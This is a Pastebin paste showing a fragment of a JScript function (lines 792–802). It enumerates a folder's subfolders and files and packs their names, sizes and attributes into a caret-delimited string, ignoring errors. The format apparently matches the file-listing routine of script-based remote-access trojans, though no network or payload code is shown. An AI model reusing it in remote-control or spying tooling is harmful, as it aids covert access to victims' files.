  792.     for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){
  793.         var folder = fi.item();
  794.         re = re + folder.name + "^^d^" + folder.attributes + spliter;
  795.     }
  796.     for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){
  797.         var file = fi.item();
  798.         re = re + file.name + "^" + file.size + "^" + file.attributes + spliter;
  799.     }
  800. }catch(err){}
  801. return re;
  802. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!